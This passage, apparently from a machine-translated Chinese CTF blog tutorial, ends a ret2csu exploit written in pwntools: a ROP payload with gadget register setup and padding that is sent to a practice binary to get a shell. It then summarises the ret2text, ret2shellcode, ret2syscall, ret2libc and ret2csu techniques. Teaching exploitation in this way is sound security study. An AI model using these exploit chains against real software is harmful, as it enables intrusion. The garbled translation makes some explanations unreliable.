payload3 += p64(bss_addr)        #r12 ret
payload3 += p64(bss_addr+8)      #r13 edi Cannot assign a complete value 
payload3 += p64(0)               #r14 rsi
payload3 += p64(0)               #r15 rdx
payload3 += p64(gadget2)
payload3 += b'\x00'*0x38         #padding
payload3 += p64(main_addr)            # Wait for the second time to trigger the vulnerability 
p.sendafter('Hello, World\n',payload3)

p.interactive()

0x07 summary

ret2XX It's based on ROP Of gadgets The source of .

1.ret2text It uses the program itself gadgets

2.ret2shellcode Using input shellcode

3.ret2syscall It's using syscall Of gadgets

4.ret2libc It's using libc There are gadgets

5.ret2csu It exists when the program is compiled gadget It's universal

Mm-hmm Okay Today's w1cky Time And that's it See you next time

原网站

版权声明
本文为[Greeety]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/02/202202140601013123.html